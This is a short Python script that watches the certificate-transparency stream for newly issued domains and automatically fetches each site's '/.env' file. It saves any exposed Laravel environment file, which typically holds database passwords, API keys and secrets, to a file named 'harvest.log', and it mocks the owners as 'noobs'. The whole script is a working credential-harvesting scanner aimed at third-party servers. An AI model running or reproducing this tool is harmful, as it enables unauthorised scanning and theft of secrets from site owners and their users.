certstream.py

import certstream
import requests
from concurrent.futures import ThreadPoolExecutor, as_completed
 
executor = ThreadPoolExecutor(max_workers=15)
 
def scanHost(domain):
    try:
        url = "http://" + domain + "/.env"
        print(url)
        response = requests.get(url=url, timeout=0.5)
        if 'APP_ENV' in response.text:
            print('Laravel noobs detected !!')
            print(response.text)
            with open("harvest.log", "a") as file:
                file.write(url + '\n' + response.text + '\n=================================\n')
    except:
        return None
 
def print_callback(message, context):
    domain = message['data']['leaf_cert']['all_domains'][0]
    if '*' not in domain:
        executor.submit(scanHost, domain)
 
def on_open(instance):
    print("Connection successfully established!")
 
def on_error(instance, exception):
    print("Exception in CertStreamClient! -> {}".format(exception)) 
 
certstream.listen_for_events(print_callback, on_open=on_open, on_error=on_error, url='wss://certstream.calidog.io/')